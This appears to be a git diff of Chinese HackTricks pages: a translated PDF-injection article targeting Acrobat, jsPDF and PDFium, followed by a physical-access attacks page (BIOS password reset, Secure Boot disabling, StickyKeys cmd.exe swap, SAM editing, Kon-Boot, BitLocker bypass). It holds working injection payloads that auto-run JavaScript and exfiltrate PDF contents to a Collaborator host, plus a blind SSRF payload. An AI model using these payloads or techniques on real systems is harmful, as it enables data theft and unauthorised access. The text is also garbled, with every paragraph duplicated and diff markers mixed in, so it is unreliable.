就像XSS向量取决于浏览器的解析一样PDF注入的可利用性可能取决于PDF渲染器。我决定首先针对Acrobat因为我认为向量在Chrome中不太可能起作用。我注意到两件事1您可以注入额外的注释动作和2如果您修复现有的闭合括号那么PDF将会渲染。经过一些实验我想出了一个很好的有效载荷它注入了一个额外的注释动执行了JavaScript并修复了闭合括号`/blah)>>/A<</S/JavaScript/JS(app.alert(1);)/Type/Action>>/>>(`
首先打破括号,然后使用>>打破字典,然后开始一个新的注释字典。/S/JavaScript使注释基于JavaScript/JS是存储JavaScript的地方。括号内是我们实际的JavaScript代码。请注意如果括号是平衡的你不需要转义括号。最后我添加了注释的类型完成了字典并修复了闭合括号。这太酷了我可以制作一个执行JavaScript的注入但那又怎样呢你可以执行JavaScript但你无法访问DOM所以你无法读取cookie。然后James出现了并建议从注入中窃取PDF的内容。我开始寻找获取PDF内容的方法。在Acrobat中我发现你可以使用JavaScript在没有任何用户交互的情况下提交表单查看JavaScript API的规范修改基本注入并添加一些JavaScript代码将整个PDF代码的内容发送到外部服务器的POST请求中`/blah)>>/A<</S/JavaScript/JS(app.alert(1);`\
首先打破括号,然后使用>>打破字典,然后开始一个新的注释字典。/S/JavaScript使注释基于JavaScript/JS是存储JavaScript的地方。括号内是我们的实际JavaScript。注意如果括号是平衡的你不必转义它们。最后我添加了注释的类型完成了字典并修复了闭合括号。这太酷了我可以制作一个执行JavaScript的注入但那又怎样呢你可以执行JavaScript但你无法访问DOM所以你不能读取cookies。然后James出现了并建议从注入中窃取PDF的内容。我开始寻找获取PDF内容的方法。在Acrobat中我发现你可以使用JavaScript提交表单而不需要任何用户互动查看JavaScript API的规范修改基础注入并添加一些JavaScript这些JavaScript将把整个PDF代码的内容通过POST请求发送到外部服务器是相当简单的`/blah)>>/A<</S/JavaScript/JS(app.alert(1);`\
`this.submitForm({`\
`cURL: 'https://your-id.burpcollaborator.net',cSubmitAs: 'PDF'}))`\
`/Type/Action>>/>>(`
alert不是必需的我只是为了证明注入正在执行JavaScript。
不需要警报;我只是添加它来证明注入正在执行JavaScript。
接下来,只是为了好玩,我尝试在不使用JavaScript的情况下窃取PDF的内容。从PDF规范中我发现可以使用一个名为SubmitForm的操作。我在过去使用过这个操作当我在Burp Suite中构建一个用于扫描检查的PDF时。它正如其名。它还有一个Flags字典项来控制提交的内容。Flags字典键接受一个整数值但每个单独的设置由一个二进制位控制。使用ES6中的新二进制字面量来处理这些设置是一个很好的方法。二进制字面量应该有14位因为总共有14个标志。在下面的示例中,所有设置都被禁用:`0b00000000000000`
接下来,只是为了好玩,我看了看不使用JavaScript窃取PDF内容。从PDF规范中我发现你可以使用一个名为SubmitForm的动作。我过去在Burp Suite中构建PDF进行扫描检查时使用过它。它确切地做了名字所暗示的事情。它还在字典中有一个Flags条目来控制提交的内容。Flags字典键接受一个整数值但每个单独的设置由一个二进制位控制。使用ES6中的新二进制文字处理这些设置是一个好方法。二进制文字应该是14位长因为总共有14个标志。在以下示例中,所有设置都被禁用:`0b00000000000000`
要设置一个标志首先需要查找它的位位置PDF规范的表237。在这种情况下我们想设置SubmitPDF标志。由于这由第9位控制所以你只需要从右边数9位`0b00000100000000`
如果您使用JavaScript进行评估这将导致十进制值256。换句话说将Flags条目设置为256将启用SubmitPDF标志这会在提交表单时发送PDF的内容。我们所需要做的就是使用之前创建的基本注入并将其修改为调用SubmitForm操作而不是JavaScript`/blah)>>/A<</S/SubmitForm/Flags 256/F(`\
要设置一个标志,你首先需要查找它的位位置([PDF规范](https://www.adobe.com/content/dam/acom/en/devnet/pdf/pdfs/PDF32000_2008.pdf)的表237。在这种情况下我们想要设置SubmitPDF标志。由于这是由第9位控制的你只需要从右边数9位`0b00000100000000`
如果你用JavaScript评估这个结果是十进制值256。换句话说将Flags条目设置为256将启用SubmitPDF标志这将导致提交表单时发送PDF的内容。我们所需要做的就是使用我们之前创建的基础注入并修改它来调用SubmitForm动作而不是JavaScript`/blah)>>/A<</S/SubmitForm/Flags 256/F(`\
`https://your-id.burpcollaborator.net)`\
`/Type/Action>>/>>(`
## sPDF
接下来我将我的方法应用于另一个PDF库 - [jsPDF](https://parall.ax/products/jspdf) - 并发现它也存在漏洞。利用这个库非常有趣因为它们有一个可以在浏览器中执行并允许您实时生成PDF的API。我注意到与PDP-Lib库一样他们忘记了在注释URL中转义括号。这里的url属性是有漏洞的:`doc.createAnnotation({bounds:`\
接下来我将我的方法应用到另一个PDF库 - [jsPDF](https://parall.ax/products/jspdf) - 并发现它也是易受攻击的。利用这个库很有趣因为他们有一个可以在浏览器中执行的API允许你实时生成PDF当你输入时。我注意到像PDP-Lib库一样他们忘记了在注释URLs内部转义括号。这里的url属性是易受攻击的:`doc.createAnnotation({bounds:`\
`{x:0,y:10,w:200,h:200},`\
``type:'link',url:`/input`});``\
`//vulnerable`
因此,我使用他们的API生成了一个PDF并将PDF代码注入到url属性中
所以我使用他们的API生成了一个PDF并将PDF代码注入到url属性中
`var doc = new jsPDF();`\
`doc.text(20, 20, 'Hello world!');`\
@ -86,123 +85,44 @@ alert不是必需的我只是为了证明注入正在执行JavaScript。
`/blah)>>/A<</S/JavaScript/JS(app.alert(1);)/Type/Action/F 0/(`\
`` `}); ``
我通过删除字典的类型条目和不需要的F条目来减少了向量。然后我留下了一个悬空的括号这个括号将由现有的括号关闭。减少注入的大小很重要因为您要注入的Web应用程序可能只允许有限数量的字符。`/blah)>>/A<</S/JavaScript/JS(app.alert(1)`
我通过移除字典的类型条目和不需要的F条目来缩减向量。然后我留下了一个悬空的括号它会被现有的括号关闭。减少注入的大小很重要因为你注入的web应用程序可能只允许有限数量的字符。`/blah)>>/A<</S/JavaScript/JS(app.alert(1)`
然后我发现可以进一步减少向量Acrobat允许在一个注释操作中同时使用URI和JavaScript条目并且会愉快地执行JavaScript`/)/S/JavaScript/JS(app.alert(1)`
然后我发现可以进一步减少向量Acrobat将允许在一个注释动作中有一个URI和一个JavaScript条目并且会愉快地执行JavaScript`/)/S/JavaScript/JS(app.alert(1)`
进一步的研究揭示了您还可以注入多个注释。这意味着您不仅可以注入一个操作,还可以跳出注释并定义自己的矩形坐标,以选择文档的哪个部分可点击。使用这种技术,我能够使整个文档可点击。`/) >> >>`\
进一步的研究揭示你还可以注入多个注释。这意味着你可以打破注释并定义自己的rect坐标选择文档的哪个部分是可点击的。使用这种技术,我能够使整个文档可点击。 `/) >> >>`\
`<</Type /Annot /Subtype /Link /Rect [0.00 813.54 566.93 -298.27] /Border [0 0`\
`0] /A <</S/SubmitForm/Flags 0/F(https://your-id.burpcollaborator.net`
## 在没有交互的情况下执行注释
## Executing annotations without interaction
到目前为止,我演示的向量需要点击才能激活注释的操作。通常James问了一个问题“我们能自动执行吗”我查看了PDF规范注意到注释的一些有趣特性:
到目前为止,我展示的向量需要点击来激活注释中的动作。通常James问了一个问题“我们可以自动执行吗”。我查阅了PDF规范注意到注释的一些有趣特性:
“**PV**和**PI**条目允许区分打开的页面和可见的页面。在任何时候,查看器应用程序只会将一个页面视为打开状态,而可以看到多个页面,这取决于页面布局。”
"**PV** 和 **PI** 条目允许区分打开的页面和可见的页面。在任何时候,查看器应用程序中只有一个页面被认为是打开的,而根据页面布局,可能有多个页面是可见的。"
我们可以向字典添加PV条目注释将自动在Acrobat上触发不仅如此我们还可以在关闭PDF文档时自动执行有效载荷使用PC条目。攻击者可以在您打开和关闭PDF时跟踪您
我们可以向字典添加PV条目注释将在Acrobat中自动触发不仅如此我们还可以在PDF文档关闭时自动执行有效载荷使用PC条目。攻击者可以追踪你何时打开PDF并关闭它
以下是如何从注释中自动执行的方法`var doc = new jsPDF();`\
以下是如何从注释中自动执行:`var doc = new jsPDF();`\
``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/)``\
`>> >>`\
``<</Subtype /Screen /Rect [0 0 900 900] /AA <</PV <</S/JavaScript/JS(app.alert(1))>>/(`});``\
`doc.text(20, 20, 'Auto execute');`
您关闭PDF时此注释将触发:`var doc = new jsPDF();`\
你关闭PDF时这个注释会触发:`var doc = new jsPDF();`\
``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/) >> >>``\
``<</Subtype /Screen /Rect [0 0 900 900] /AA <</PC <</S/JavaScript/JS(app.alert(1))>>/(`});``\
`doc.text(20, 20, 'Close me');`
## Chrome
我已经谈了很多关于AcrobatPDFiumChrome的PDF阅读器Chrome很棘手攻击面比Acrobat小得多因为其JavaScript支持比Acrobat有限。我首先注意到的是JavaScript根本不会在注释中执行因此我的概念验证无法工作。为了使向量在Chrome中起作用我至少需要在注释中执行JavaScript。不过首先决定尝试覆盖注释中的URL。这很容易。我可以使用之前提出的基本注入并简单地注入另一个具有URI条目的操作该条目将覆盖现有的URL`var doc = new jsPDF();`\
我已经谈了很多关于Acrobat的内容但PDFiumChrome的PDF阅读器Chrome很棘手它的攻击面更小因为它的JavaScript支持比Acrobat的更有限。我首先注意到的是注释中根本没有执行JavaScript所以我的概念验证不起作用。为了让向量在Chrome中起作用我至少需要在注释中执行JavaScript。不过首先决定尝试覆盖注释中的URL。这很容易。我可以使用我之前想出的基础注入并简单地注入另一个带有URI条目的动作将覆盖现有的URL`var doc = new jsPDF();`\
``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/blah)>>/A<</S/URI/URI(https://portswigger.net)``\
``/Type/Action>>/F 0>>(`});``\
`doc.text(20, 20, 'Test text');`
这将在点击时导航到portswigger.net。然后我继续尝试不同的注入方式来调用JavaScript但每次都失败。我认为这是不可能的。我退后一步,尝试手动构建一个完整的PDF以便在Chrome中通过点击而无需注入调用JavaScript。当使用AcroForm按钮时Chrome将允许执行JavaScript但问题是它需要引用PDF的某些部分。我成功地构建了一个注入它将从JSPDF的点击中执行JavaScript`var doc = new jsPDF();`\
这将在点击时导航到portswigger.net。然后我继续尝试不同的注入来调用JavaScript但每次都失败。我认为这是不可能的。我退后一步,尝试手动构造一个完整的PDF它将在Chrome中从点击调用JavaScript而不是注入。当使用AcroForm按钮时Chrome将允许JavaScript执行但问题是它需要引用PDF的部分。我设法制作了一个注入它将在JSPDF上从点击执行JavaScript`var doc = new jsPDF();`\
``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/) >> >> <</BS<</S/B/W 0>>/Type/Annot/MK<</BG[ 0.825 0.8275 0.8275]/CA(Submit)>>/Rect [ 72 697.8898 144 676.2897]/Subtype/Widget/AP<</N <</Type/XObject/BBox[ 0 0 72 21.6]/Subtype/Form>>>>/Parent <</Kids[ 3 0 R]/Ff 65536/FT/Btn/T(test)>>/H/P/A<</S/JavaScript/JS(app.alert(1))/Type/Action/F 4/DA(blah`});``\
`doc.text(20, 20, 'Click me test');`
如您所见上述向量需要了解PDF结构。\[ 3 0 R]指的是特定的PDF对象如果我们进行盲目的PDF注入攻击我们将不知道其结构。不过下一步是尝试表单提交。我们可以使用submitForm函数来实现因为注释需要点击Chrome将允许它`/) >> >> <</BS<</S/B/W 0>>/Type/Annot/MK<</BG[ 0.0 813.54 566.93 -298.27]/CA(Submit)>>/Rect [ 72 697.8898 144 676.2897]/Subtype/Widget/AP<</N <</Type/XObject/BBox[ 0 0 72 21.6]/Subtype/Form>>>>/Parent <</Kids[ 3 0 R]/Ff 65536/FT/Btn/T(test)>>/H/P/A<</S/JavaScript/JS(app.alert(1);this.submitForm('https://your-id.burpcollaborator.net'))/Type/Action/F 4/DA(blah`
这样可以工作但是代码很乱需要了解PDF结构。我们可以大大简化它并消除对PDF结构的依赖`#) >> >> <</BS<</S/B/W 0>>/Type/Annot/MK<</BG[ 0 0 889 792]/CA(Submit)>>/Rect [ 0 0 889 792]/Subtype/Widget/AP<</N <</Type/XObject/Subtype/Form>>>>/Parent <</Kids[ ]/Ff 65536/FT/Btn/T(test)>>/H/P/A<</S/JavaScript/JS(`\
`app.alert(1)`\
`)/Type/Action/F 4/DA(blah`\
``
正如您所看到的上面的向量需要了解PDF结构。 \[ 3 0 R] 指的是一个特定的PDF对象如果我们正在进行盲目的PDF注入攻击我们不会知道它的结构。不过下一步是尝试表单提交。我们可以使用submitForm函数来实现这一点因为注释需要点击Chrome将允许它`) >> >> <</BS<</S/B/W 0>>/Type/Annot/MK<</BG[ 0.0 813.54 566.93 -298.27]/CA(Submit)>>/Rect [ 72 697.8898 144 676.2897]/Subtype/Widget/AP<</N <</Type/XObject/BBox[ 0 0 72 21.6]/Subtype/Form>>>>/Parent <</Kids[ 3 0 R]/Ff 65536/FT/Btn/T(test)>>/H/P/A<</S/JavaScript/JS(app.alert(1);this.submitForm('https://your-id.burpcollaborator.net'))/Type/Action/F 4/DA(blah`
我们还可以删除一些代码:`var doc = new jsPDF();`\
``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`#)>>>><</Type/Annot/Rect[ 0 0 900 900]/Subtype/Widget/Parent<</FT/Btn/T(A)>>/A<</S/JavaScript/JS(app.alert(1))/(`});``\
`doc.text(20, 20, 'Test text');`\
``
上面的代码跳出了注释创建了一个新的注释并使整个页面可点击。为了执行JavaScript代码我们必须注入一个按钮并使用“T”条目给它任意文本。然后我们可以使用字典中的JS条目最终注入我们的JavaScript代码。在Chrome上执行JavaScript很棒。当我开始这项研究时我从未想过这是可能的。
接下来我研究了submitForm函数以窃取PDF的内容。我们知道我们可以调用该函数并且它会与外部服务器联系正如上面的示例所示但它是否支持完整的Acrobat规范呢我查看了[PDFium的源代码](https://github.com/PDFium/PDFium/blob/master/fpdfsdk/src/javascript/Document.cpp#L818)但该函数不支持SubmitAsPDF :( 您可以看到它支持FDF但不幸的是这不会提交PDF的内容。我寻找其他方法但不知道有哪些可用的对象。我采用了与Acrobat相同的方法编写了一个模糊器/枚举器来查找有趣的对象。从Chrome中获取信息比Acrobat更困难我必须在输出之前以块的形式收集信息然后使用alert函数输出它。这是因为alert函数会截断发送给它的字符串。`...`\
``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`#)>> <</Type/Annot/Rect[0 0 900 900]/Subtype/Widget/Parent<</FT/Btn/T(a)>>/A<</S/JavaScript/JS(``\
`(function(){`\
`var obj = this,`\
`data = '',`\
`chunks = [],`\
`counter = 0,`\
`added = false, i, props = [];`\
`for(i in obj) {`\
`props.push(i);`\
`}`\
`...`
[完整代码](https://github.com/PortSwigger/portable-data-exfiltration/blob/main/PDF-research-samples/jsPDF/chrome/enumerator/test.js)
检查枚举器的输出后我尝试调用各种函数希望进行外部请求或从PDF中获取信息。最终我找到了一个非常有趣的函数名为getPageNthWord它可以从PDF文档中提取单词从而使我能够窃取内容。该函数有一个微妙的错误有时第一个单词不会被提取。但大部分情况下它会提取大部分单词`var doc = new jsPDF();`\
``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`#)>> <</Type/Annot/Rect[0 0 900 900]/Subtype/Widget/Parent<</FT/Btn/T(a)>>/A<</S/JavaScript/JS(``\
`words = [];`\
`for(page=0;page<this.numPages;page++) {`\
`for(wordPos=0;wordPos<this.getPageNumWords(page);wordPos++) {`\
`word = this.getPageNthWord(page, wordPos, true);`\
`words.push(word);`\
`}`\
`}`\
`app.alert(words);`\
`` `}); ``\
`doc.text(20, 20, 'Click me test');`\
`doc.text(20, 40, 'Abc Def');`\
`doc.text(20, 60, 'Some word');`\
``
我对自己能够在Chrome上窃取PDF内容感到非常满意因为我从未想过这是可能的。将此与submitForm向量结合使用可以将数据发送到外部服务器。唯一的缺点是需要点击。我想知道是否可以在Chrome上实现无需点击的JavaScript执行。再次查看PDF规范我注意到注释字典中还有一个名为“E”的条目当鼠标进入注释区域时将执行注释-基本上是一个鼠标悬停事件。不幸的是这不算作用户交互以启用表单提交。因此尽管可以执行JavaScript但无法对数据进行任何操作因为无法将其发送到外部服务器。如果您能够通过此事件使Chrome提交数据请告诉我因为我会非常感兴趣。无论如何以下是触发鼠标悬停事件的代码`var doc = new jsPDF();`\
``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/) >> >>``\
``<</Type /Annot /Subtype /Widget /Parent<</FT/Btn/T(a)>> /Rect [0 0 900 900] /AA <</E <</S/JavaScript/JS(app.alert(1))>>/(`});``\
`doc.text(20, 20, 'Test');`\
``
## PDFium/Acrobat中的SSRF
可以使用PDFium/Acrobat发送POST请求来执行SSRF攻击。这将是一种[盲目的SSRF](https://portswigger.net/web-security/ssrf/blind)因为您可以发送POST请求但无法读取响应。要构造POST请求可以像之前演示的那样使用/parent字典键将表单元素分配给注释从而启用JavaScript执行。但是与之前使用按钮不同您可以使用参数名称(/T)和参数值(/V)字典键将文本字段(/Tx)分配给注释。请注意您必须将要使用的参数名称作为数组传递给submitForm函数:`#)>>>><</Type/Annot/Rect[ 0 0 900 900]/Subtype/Widget/Parent<</FT/Tx/T(foo)/V(bar)>>/A<</S/JavaScript/JS(`\
`app.alert(1);`\
`this.submitForm('https://aiws4u6uubgfdag94xvc5wbrfilc91.burpcollaborator.net', false, false, ['foo']);`\
`)/(`\
``
您甚至可以发送原始换行符,这在链接其他攻击(如[请求走私](https://portswigger.net/web-security/request-smuggling)时可能很有用。POST请求的结果可以在以下Collaborator请求中看到
![显示来自PDF的Burp Collaborator请求的屏幕截图](https://portswigger.net/cms/images/3f/61/fd38-article-ssrf-screenshot.png)
最后我想以Chrome和Acrobat PDF注入的混合方式结束。第一部分将JavaScript注入到现有注释中以在Acrobat上执行JavaScript。第二部分跳出注释并注入一个新的注释为Chrome定义一个新的可点击区域。我再次使用Acroform技巧来注入一个按钮以便执行JavaScript`var doc = new jsPDF();`\
``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`#)/S/JavaScript/JS(app.alert(1))/Type/Action>> >> <</Type/Annot/Rect[0 0 900 700]/Subtype/Widget/Parent<</FT/Btn/T(a)>>/A<</S/JavaScript/JS(app.alert(1)`});``\
`doc.text(20, 20, 'Click me Acrobat');`\
`doc.text(20, 60, 'Click me Chrome');`
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- 您在**网络安全公司**工作吗您想在HackTricks中看到您的**公司广告**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
- 发现我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**
</details>
这有效但很混乱并且需要了解PDF结构。我们可以大大减少它并去除对PDF结构的依赖`#) >> >> <</BS<</S/B/W 0>>/Type/Annot/MK<</BG[ 0 0 889 792]/CA(Submit)>>/Rect [ 0 0 889 792]/Subtype/Widget/AP<</N <</Type/XObject/Subtype/Form>>>>/Parent <</Kids[ ]/Ff 65536/

File diff suppressed because one or more lines are too long

View file

@ -2,17 +2,15 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零开始学习AWS黑客技术成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong></strong></summary>
- 您在**网络安全公司**工作吗?想在**HackTricks**上看到您的**公司广告**?或者想要访问**PEASS的最新版本或下载HackTricks的PDF**?查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列
- 获取[**官方PEASS & HackTricks周边商品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
@ -20,25 +18,25 @@
### 电池
大多数**主板**都有一个**电池**。如果**移除**它**30分钟**BIOS的设置将会**重启**(包括密码)。
大多数**主板**都有一个**电池**。如果**移除**它**30分钟**BIOS的设置将会**重启**(包括密码)。
### 跳线CMOS
大多数**主板**都有一个可以重启设置的**跳线**。这个跳线连接一个中心针脚与另一个针脚,如果你**连接这些针脚,主板将会被重置**。
大多数**主板**都有一个可以重启设置的**跳线**。这个跳线连接一个中心引脚和另一个引脚,如果您**连接这些引脚,主板将被重置**。
### 实时工具
如果你能够例如从Live CD/USB**运行**一个**Kali** Linux你可以使用像_**killCmos**_或_**CmosPWD**_后者包含在Kali中这样的工具来**恢复BIOS的密码**。
如果您能够例如从Live CD/USB运行**Kali** Linux您可以使用像_**killCmos**_ 或 _**CmosPWD**_后者包含在Kali中这样的工具来**恢复BIOS的密码**。
### 在线BIOS密码恢复
输入BIOS密码**3次错误**然后BIOS将**显示错误信息**并且会被锁定。\
访问页面[https://bios-pw.org](https://bios-pw.org)并**输入BIOS显示的错误代码**,你可能会幸运地得到一个**有效的密码****相同的搜索可能会显示不同的密码,而且多个密码可能有效**)。
输入BIOS密码**3次错误**然后BIOS将**显示错误信息**并被锁定。\
访问页面 [https://bios-pw.org](https://bios-pw.org) 并**输入BIOS显示的错误代码**,您可能会幸运地获得一个**有效的密码****相同的搜索可能会显示不同的密码,而且可能有多个有效**)。
## UEFI
要检查UEFI的设置并执行某种攻击应该尝试使用[chipsec](https://github.com/chipsec/chipsec/blob/master/chipsec-manual.pdf)。\
使用这个工具,你可以轻松地禁用Secure Boot
要检查UEFI的设置并执行某种攻击应该尝试使用[chipsec](https://github.com/chipsec/chipsec/blob/master/chipsec-manual.pdf)。\
使用这个工具,您可以轻松禁用Secure Boot
```
python chipsec_main.py -module exploits.secure.boot.pk
```
@ -46,7 +44,7 @@ python chipsec_main.py -module exploits.secure.boot.pk
### 冷启动
**RAM内存在计算机关闭后的1到2分钟内是持久的**。如果你在内存卡上应用**冷却剂**(例如液氮),你可以将这个时间延长到**10分钟**。
**RAM内存在计算机关闭后1到2分钟内仍然保持数据**。如果你在内存卡上施加**冷却**(例如液氮),你可以将这个时间延长到**10分钟**。
然后你可以使用工具如dd.exe、mdd.exe、Memoryze、win32dd.exe或DumpIt进行**内存转储**,以分析内存。
@ -54,8 +52,8 @@ python chipsec_main.py -module exploits.secure.boot.pk
### [INCEPTION](https://github.com/carmaa/inception)
Inception是一个利用基于PCI的DMA进行**物理内存操作**的黑客工具。该工具可以通过**FireWire**、**Thunderbolt**、**ExpressCard**、PC Card以及任何其他PCI/PCIe硬件接口进行攻击。\
将你的计算机通过这些**接口**之一连接到受害者计算机,**INCEPTION**将尝试**修补****物理内存**以给你**访问权限**。
Inception是一个利用基于PCI的DMA进行**物理内存操作**和黑客攻击的工具。该工具可以通过**FireWire**、**Thunderbolt**、**ExpressCard**、PC Card以及任何其他PCI/PCIe硬件接口进行攻击。\
将你的计算机通过这些**接口**之一连接到受害者计算机,**INCEPTION**将尝试**修补** **物理内存**以给你**访问权限**
**如果INCEPTION成功任何输入的密码都将有效。**
@ -70,11 +68,11 @@ Inception是一个利用基于PCI的DMA进行**物理内存操作**的黑客工
* **OSK** 按下WINDOWS+U然后启动屏幕键盘时会调用_osk.exe_
* **DISP** 按下WINDOWS+P时会调用_DisplaySwitch.exe_
这些二进制文件位于_**C:\Windows\System32**_内。你可以将它们中的任何一个**更改**为二进制文件**cmd.exe**的**副本**(也在同一文件夹中),并且任何时候调用这些二进制文件时,都会出现一个以**SYSTEM**身份的命令提示符。
这些二进制文件位于 _**C:\Windows\System32**_ 内。你可以将它们中的任何一个**更改**为**cmd.exe**的**副本**(也在同一文件夹中),并且任何时候调用这些二进制文件时,都会出现一个以**SYSTEM**身份的命令提示符。
### 修改SAM
你可以使用工具_**chntpw**_来**修改**已挂载Windows文件系统的_**SAM**_**文件**。然后,你可以更改例如管理员用户的密码。\
你可以使用工具_**chntpw**_ 来**修改**已挂载Windows文件系统的_**SAM**_ **文件**。然后,你可以更改例如管理员用户的密码。\
这个工具在KALI中可用。
```
chntpw -h
@ -84,11 +82,11 @@ chntpw -l <path_to_SAM>
### **Kon-Boot**
**Kon-Boot** 是最好的工具之一它可以让你在不知道密码的情况下登录Windows系统。它通过**挂钩系统BIOS并临时更改Windows内核的内容**来工作(新版本也支持**UEFI**)。然后它允许你在登录时输入**任何内容作为密码**。下次在没有Kon-Boot的情况下启动计算机时,原始密码将恢复,临时更改将被丢弃,系统将表现得如同什么都没有发生。\
**Kon-Boot** 是最好的工具之一它可以让你在不知道密码的情况下登录Windows系统。它通过 **挂钩系统BIOS并临时更改Windows内核的内容** 来工作(新版本也支持 **UEFI**)。然后它允许你在登录时输入 **任何密码**。下次你在没有Kon-Boot的情况下启动电脑时,原始密码将恢复,临时更改将被丢弃,系统将表现得如同什么都没有发生一样。\
阅读更多:[https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/)
它是一个live CD/USB可以**修补内存**,所以你**不需要知道密码就能登录**。\
Kon-Boot 还执行了**StickyKeys**技巧,所以你可以按 _**Shift**_ **键5次来获取管理员cmd**
它是一个live CD/USB可以 **修补内存**,所以你 **不需要知道密码就能登录**。\
Kon-Boot 还执行了 **StickyKeys** 技巧,所以你可以按 _**Shift**_ **键5次来获取管理员cmd**
## **运行Windows**
@ -100,7 +98,7 @@ Kon-Boot 还执行了**StickyKeys**技巧,所以你可以按下 _**Shift**_ **
* f8 - 恢复模式
* _supr_ - BIOS ini
* _f8_ - 恢复模式
* _Shitf_在windows标志之后- 转到登录页面而不是自动登录(避免自动登录)
* _Shift_在Windows标志之后- 转到登录页面而不是自动登录(避免自动登录)
### **坏USB**
@ -113,7 +111,7 @@ Kon-Boot 还执行了**StickyKeys**技巧,所以你可以按下 _**Shift**_ **
* [有效载荷和教程](https://github.com/Screetsec/Pateensy)
还有大量关于**如何创建你自己的坏USB**的教程。
还有大量关于 **如何创建你自己的坏USB** 的教程。
### 卷影拷贝
@ -121,15 +119,15 @@ Kon-Boot 还执行了**StickyKeys**技巧,所以你可以按下 _**Shift**_ **
## 绕过Bitlocker
Bitlocker 使用**两个密码**。一个是**用户**使用的,另一个是**恢复**密码48位数字
Bitlocker 使用 **两个密码**。一个是 **用户** 使用的,另一个是 **恢复** 密码48位数字
如果你幸运在当前的Windows会话中存在文件 _**C:\Windows\MEMORY.DMP**_(它是一个内存转储),你可以尝试**在其中搜索恢复密码**。你可以**获取这个文件**和**文件系统的副本**,然后使用 _Elcomsoft Forensic Disk Decryptor_ 来获取内容(这只有在密码在内存转储中时才有效)。你也可以使用 _**NotMyFault**__Sysinternals_ **强制内存转储**,但这将重启系统,并且必须以管理员身份执行。
如果你幸运在当前的Windows会话中存在文件 _**C:\Windows\MEMORY.DMP**_(它是一个内存转储),你可以尝试 **在其中搜索恢复密码**。你可以 **获取这个文件** **文件系统的副本**,然后使用 _Elcomsoft Forensic Disk Decryptor_ 来获取内容(这只有在密码在内存转储中时才有效)。你也可以使用 _**NotMyFault**__Sysinternals_ **强制内存转储**,但这将重启系统,并且必须以管理员身份执行。
你也可以尝试使用 _**Passware Kit Forensic**_ 进行**暴力破解攻击**。
你也可以尝试使用 _**Passware Kit Forensic**_ 进行 **暴力破解攻击**
### 社会工程学
最后,你可以让用户添加一个新的恢复密码,让他以管理员身份执行
最后,你可以让用户执行管理员身份,添加一个新的恢复密码:
```bash
